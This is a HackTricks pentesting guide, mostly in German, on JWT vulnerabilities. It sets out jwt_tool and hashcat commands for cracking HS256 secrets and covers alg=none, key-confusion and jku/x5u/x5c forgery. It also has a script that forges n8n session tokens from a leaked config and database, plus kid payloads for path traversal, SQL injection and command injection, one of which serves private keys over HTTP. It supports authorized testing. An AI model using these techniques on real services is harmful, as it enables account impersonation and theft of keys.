JWT-Schwachstellen (Json Web Tokens)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Ein Teil dieses Beitrags basiert auf dem großartigen Beitrag: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor des großartigen Tools zum Pentesting von JWTs https://github.com/ticarpi/jwt_tool
Schnelle Erfolge
Führe jwt_tool im Modus All Tests! aus und warte auf grüne Zeilen
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Wenn du Glück hast, findet das Tool einen Fall, in dem die Webanwendung den JWT nicht korrekt überprüft:
.png)
Dann kannst du die Anfrage in deinem proxy suchen oder den für diese Anfrage verwendeten JWT mit dem jwt_ tool dumpen:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Du kannst auch die Burp Extension SignSaboteur verwenden, um JWT-Angriffe von Burp aus zu starten.
Praktischer Workflow zur JWT-Bewertung
- Scope the session control: Wähle eine benutzerspezifische Anfrage (z. B. profile, billing). Entferne Cookies/Headers nacheinander, bis die Anfrage abgelehnt wird, um zu isolieren, welches Token/de welche Tokens die Autorisierung tatsächlich steuern.
- Locate JWTs in traffic: Diese sitzen oft in
Authorization: Bearer <JWT>, erscheinen aber auch in custom headers oder Cookies. Wenn Burp sie nicht hervorhebt, verwende Target → Site map → Engagement tools → Search mit Regex-Mustern wie: [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*- Decode and enumerate: Benutze Burp JWT Editor oder
python3 jwt_tool.py <JWT>, um Header/Payload zu lesen. Beachtealg,exp/Token-Lebensdauer und authn/authz-relevante Claims (role,id,username,email, etc.). - Signature enforcement sanity check: Kippe oder lösche ein paar Bytes im Signature-Teil und replaye die Anfrage. Akzeptanz deutet auf fehlende Signature-Validierung hin und ermöglicht direktes Tampering der payload claims.
- Goal: Modifiziere payload claims, um Privilegien zu eskalieren; jeder der folgenden Angriffe zielt darauf ab, den Server dazu zu bringen, eine manipulierte payload zu akzeptieren, indem schwache Verifikation, schwache Secrets oder unsichere Key-Auswahl ausgenutzt werden.
Tamper data without modifying anything
Du kannst einfach die Daten manipulieren und die Signature unverändert lassen, um zu prüfen, ob der Server die Signature prüft. Versuche zum Beispiel, deinen username auf “admin” zu ändern.
Is the token checked?
Um zu prüfen, ob die Signature eines JWT verifiziert wird:
- Eine Fehlermeldung deutet auf laufende Verifikation hin; verbose Fehler können sensitive Details enthalten und sollten überprüft werden.
- Eine Änderung der zurückgegebenen Seite zeigt ebenfalls Verifikation an.
- Keine Änderung deutet auf keine Verifikation hin; in diesem Fall kannst du mit dem Tampern der payload claims experimentieren.
Origin
Es ist wichtig festzustellen, ob das Token serverseitig oder clientseitig generiert wurde, indem du die Proxy-Request-Historie untersuchst.
- Tokens, die zuerst auf der Client-Seite auftauchen, deuten darauf hin, dass der Key möglicherweise im Client-Code exponiert ist und weitere Untersuchung erfordert.
- Tokens, die serverseitig entstanden sind, deuten auf einen sicheren Prozess hin.
Duration
Prüfe, ob das Token länger als 24h gültig ist… vielleicht läuft es nie ab. Wenn es ein “exp”-Feld gibt, prüfe, ob der Server dieses korrekt behandelt.
Brute-force HMAC secret
If the header uses HS256, dump the token to a file and try offline cracking:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
Sobald das Geheimnis wiederhergestellt ist, lade es als symmetrischen Schlüssel in Burp JWT Editor und signiere geänderte Claims neu.
JWT-Secrets aus leaked config + DB-Daten ableiten
Wenn ein beliebiger Datei-Lesezugriff (oder backup leak) sowohl Verschlüsselungsmaterial der Anwendung als auch Benutzer-Datensätze offenlegt, kann man manchmal das JWT-Signatur-Geheimnis rekonstruieren und Session-Cookies fälschen, ohne Klartextpasswörter zu kennen. Beobachtetes Beispielmuster in Workflow-Automatisierungs-Stacks:
- Leak den App-Schlüssel (z. B.
encryptionKey) aus einer Konfigurationsdatei. - Leak die Benutzertabelle, um
email,password_hashunduser_idzu erhalten. - Leite das JWT-Signatur-Geheimnis aus dem Schlüssel ab, dann leite den pro-Benutzer Hash ab, der im JWT-Payload erwartet wird:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- Lege das signierte Token in das Session-Cookie (z. B.
n8n-auth), um dich als Benutzer-/Administrator-Konto auszugeben, selbst wenn der Passwort-Hash gesalzen ist.
Algorithmus auf None setzen
Setze den Algorithmus auf “None” und entferne den Signaturteil.
Benutze die Burp-Erweiterung “JSON Web Token”, um diese Schwachstelle zu testen und verschiedene Werte innerhalb des JWT zu ändern (sende die Anfrage an Repeater und im “JSON Web Token”-Tab kannst du die Werte des Tokens ändern. Du kannst außerdem das Feld “Alg” auf “None” setzen).
Wechsel des Algorithmus RS256(asymmetric) zu HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
Der Algorithmus HS256 verwendet den secret key, um jede Nachricht zu signieren und zu verifizieren.\ Der Algorithmus RS256 verwendet den private key, um die Nachricht zu signieren und den public key zur Authentifizierung.
Wenn du den Algorithmus von RS256 auf HS256 änderst, verwendet der Backend-Code den public key als secret key und nutzt dann den HS256-Algorithmus, um die Signatur zu verifizieren.
Mit dem public key und der Änderung von RS256 zu HS256 können wir dann eine gültige Signatur erstellen. Du kannst das Zertifikat des Webservers abrufen, indem du folgendes ausführst:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Using Burp JWT Editor, importiere den öffentlichen RSA-Schlüssel (aus /.well-known/jwks.json oder einer PEM) und führe Attack → HMAC Key Confusion Attack aus, um den HS256 Re-Sign-Versuch zu automatisieren.
Neuer öffentlicher Schlüssel im Header
Ein Angreifer bettet einen neuen Schlüssel in den Header des Tokens ein, und der Server verwendet diesen neuen Schlüssel zur Überprüfung der Signatur (CVE-2018-0114).
Das kann mit der “JSON Web Tokens” Burp-Erweiterung durchgeführt werden.
(Sende die Anfrage an den Repeater, wähle im JSON Web Token-Tab “CVE-2018-0114” und sende die Anfrage).
JWKS Spoofing
Die Anweisungen beschreiben eine Methode zur Bewertung der Sicherheit von JWT-Tokens, insbesondere solcher, die den “jku”-Header-Claim verwenden. Dieser Claim sollte auf eine JWKS (JSON Web Key Set)-Datei verweisen, die den zum Verifizieren des Tokens notwendigen öffentlichen Schlüssel enthält.
-
Prüfung von Tokens mit “jku”-Header:
-
Überprüfe die URL des “jku”-Claims, um sicherzustellen, dass sie auf die passende JWKS-Datei zeigt.
-
Ändere den “jku”-Wert des Tokens so, dass er auf einen kontrollierten Webservice zeigt, um den Traffic zu beobachten.
-
Überwachung auf HTTP-Interaktion:
-
HTTP-Anfragen an deine angegebene URL weisen darauf hin, dass der Server versucht, Schlüssel von deinem Link abzurufen.
-
Wenn du
jwt_toolfür diesen Prozess verwendest, ist es wichtig, die Dateijwtconf.inimit deinem eigenen JWKS-Standort zu aktualisieren, um die Tests zu ermöglichen. -
Befehl für
jwt_tool: -
Führe folgenden Befehl aus, um das Szenario mit
jwt_toolzu simulieren:
python3 jwt_tool.py JWT_HERE -X s
Übersicht zu ‘kid’-Problemen
Ein optionaler Header-Claim namens kid wird verwendet, um einen spezifischen Schlüssel zu identifizieren. Dies ist besonders wichtig in Umgebungen, in denen mehrere Schlüssel für die Verifikation von Token-Signaturen existieren. Dieser Claim hilft bei der Auswahl des passenden Schlüssels zur Verifizierung einer Token-Signatur.
Schlüssel offenbaren durch “kid”
Wenn der kid-Claim im Header vorhanden ist, empfiehlt es sich, im Webverzeichnis nach der entsprechenden Datei oder deren Varianten zu suchen. Zum Beispiel, wenn "kid":"key/12345" angegeben ist, sollte im Webroot nach den Dateien /key/12345 und /key/12345.pem gesucht werden.
Pfad-Traversal mit “kid”
Der kid-Claim könnte auch dazu missbraucht werden, im Dateisystem zu navigieren und potenziell eine beliebige Datei auszuwählen. Es ist möglich, die Konnektivität zu testen oder Server-Side Request Forgery (SSRF)-Angriffe durchzuführen, indem der kid-Wert so geändert wird, dass er auf bestimmte Dateien oder Dienste zielt. Das Manipulieren des JWT, um den kid-Wert zu ändern, während die ursprüngliche Signatur beibehalten wird, kann mit dem -T-Flag in jwt_tool erreicht werden, wie unten demonstriert:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Durch das Anvisieren von Dateien mit vorhersehbarem Inhalt ist es möglich, ein gültiges JWT zu fälschen. Zum Beispiel kann die Datei /proc/sys/kernel/randomize_va_space in Linux-Systemen, die bekanntermaßen den Wert 2 enthält, im kid-Parameter verwendet werden, wobei 2 als symmetrisches Passwort für die JWT-Erzeugung dient.
Ein praktisches Muster für anfälliges Dateisystem-Key-Loading ist, einen HS256-Key mit JWK k auf AA== zu erzeugen, kid auf eine Traversal wie ../../../../../../../dev/null zu setzen und neu zu signieren — einige Implementierungen behandeln die leere Datei als gültiges HMAC-Secret und akzeptieren gefälschte Tokens.
SQL Injection via “kid”
Wenn der Inhalt des kid-Claims verwendet wird, um ein Passwort aus einer Datenbank abzurufen, kann durch Modifikation des kid-Payloads eine SQL-Injection ermöglicht werden. Ein Beispielpayload, das eine SQL-Injection nutzt, um den JWT-Signaturprozess zu verändern, lautet:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Diese Änderung erzwingt die Verwendung eines bekannten Secret-Keys, ATTACKER, für die JWT-Signierung.
OS Injection through “kid”
Ein Szenario, in dem der kid-Parameter einen Dateipfad angibt, der in einem Kontext zur Ausführung von Befehlen verwendet wird, kann zu Remote Code Execution (RCE)-Schwachstellen führen. Durch das Injizieren von Befehlen in den kid-Parameter ist es möglich, private Keys offenzulegen. Ein Beispielpayload, um RCE und Schlüsseloffenlegung zu erreichen, ist:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku steht für JWK Set URL.
Wenn das Token einen “jku” Header-Claim verwendet, dann prüfe die angegebene URL. Diese sollte auf eine URL zeigen, die die JWKS-Datei enthält, welche den Public Key zur Verifikation des Tokens bereithält. Manipuliere das Token, um den jku-Wert auf einen Webdienst zu verweisen, dessen Traffic du überwachen kannst.
Zuerst musst du ein neues Zertifikat mit neuen privaten und öffentlichen Schlüsseln erstellen
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Dann können Sie zum Beispiel jwt.io verwenden, um das neue JWT zu erstellen, mit den created public and private keys and pointing the parameter jku to the certificate created.
Um ein gültiges jku certificate zu erstellen, können Sie das originale herunterladen und die benötigten Parameter ändern.
Sie können die Parameter “e” und “n” aus einem public certificate wie folgt erhalten:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
If the verifier fetches key material remotely, embed a Burp Collaborator URL in jku/x5u using JWT Editor → Attack → Embed Collaborator payload. Any callback confirms SSRF-style key retrieval; then host your own JWKS/PEM at that URL and re-sign with your private key so the service validates attacker-minted tokens.
x5u
X.509 URL. Eine URI, die auf eine Menge von X.509 (ein Zertifikatsformatstandard) öffentlichen Zertifikaten verweist, codiert im PEM-Format. Das erste Zertifikat in der Menge muss dasjenige sein, das dieses JWT signiert hat. Die nachfolgenden Zertifikate signieren jeweils das vorherige und schließen so die Zertifikatskette ab. X.509 ist in RFC 52807 definiert. Transportsicherheit ist erforderlich, um die Zertifikate zu übertragen.
Versuche, diesen Header auf eine URL unter deiner Kontrolle zu ändern und prüfe, ob eine Anfrage eingeht. In diesem Fall könntest du das JWT manipulieren.
Um ein neues Token mit einem von dir kontrollierten Zertifikat zu fälschen, musst du das Zertifikat erstellen und die öffentlichen sowie privaten Schlüssel extrahieren:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Dann kannst du zum Beispiel jwt.io verwenden, um das neue JWT mit den erstellten public and private keys zu erzeugen und dabei den Parameter x5u auf die erstellte certificate .crt zu setzen.
.png)
Du kannst beide dieser vulns auch für SSRFs missbrauchen.
x5c
Dieser Parameter kann das certificate in base64 enthalten:
.png)
Wenn der Angreifer ein self-signed certificate erzeugt und ein gefälschtes Token mit dem entsprechenden private key erstellt, den Wert des Parameters “x5c” durch das neu generierte certificate ersetzt und die anderen Parameter, nämlich n, e und x5t, modifiziert, würde das gefälschte Token im Wesentlichen vom Server akzeptiert werden.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Eingebetteter öffentlicher Schlüssel (CVE-2018-0114)
Wenn das JWT einen eingebetteten öffentlichen Schlüssel enthält, wie im folgenden Szenario:
.png)
Mit folgendem nodejs-Skript ist es möglich, aus diesen Daten einen öffentlichen Schlüssel zu erzeugen:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Es ist möglich, ein neues privates/öffentliches Schlüsselpaar zu erzeugen, den neuen öffentlichen Schlüssel im Token einzubetten und diesen zu verwenden, um eine neue Signatur zu erzeugen:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Sie können das “n” und “e” mit diesem nodejs-Skript erhalten:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finally, using the public and private key and the new “n” and “e” values you can use jwt.io to forge a new valid JWT with any information.
ES256: Revealing the private key with same nonce
If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.
Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).
JWT Registered claims
Other attacks
Cross-service Relay Attacks
It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.
- A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any user’s account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area.
Expiry Check of Tokens
The token’s expiry is checked using the “exp” Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another user’s JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the “exp” claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an “exp” claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_tool’s -R flag.
- A security risk may be present if the application still validates the token, as it may imply that the token could never expire.
Tools
- jwt_tool – decoding, claim/header tampering, offline secret cracking (
-C) and semi-automated attack modes (-M at). - Burp JWT Editor – decode/re-sign in Repeater, generate custom keys, and run built-in attacks (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
- hashcat
-m 16500– GPU-accelerated HS256 secret cracking after exporting JWTs to a wordlist.
References
- n8n token forge chain – config+DB leak to JWT signing secret
- Burp Suite – JWT Editor extension
- jwt_tool attack methodology
- Keys to JWT Assessments – TrustedSec
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


